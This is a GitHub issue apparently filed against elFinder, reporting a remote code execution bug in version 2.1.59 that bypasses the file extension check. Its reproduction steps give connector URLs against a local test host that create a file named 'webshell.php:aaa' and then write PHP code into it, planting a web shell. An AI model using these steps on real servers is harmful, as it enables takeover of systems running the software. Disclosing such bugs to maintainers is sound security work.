Skip to content

RCE elFinder 2.1.59 #3429

@Ph33rr

Description

@Ph33rr

Describe the bug

bypass ext check

Steps to reproduce the behavior:

  1. create a .php file using the following URL:
    http://127.0.0.1/elFinder/php/connector.minimal.php?cmd=mkfile&target=l1_Lw&name=webshell.php:aaa
    2.Hash file :
    http://127.0.0.1/2/elFinder/php/connector.minimal.php?cmd=open&target=l1_
    3.Add PHP code in webshell.php
    http://127.0.0.1/2/elFinder/php/connector.minimal.php?cmd=put&content=jpeg<?php echo $_GET["infosec_90"]&target=HashFile

p (please complete the following information):**

  • OS: Windows XAMPP

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions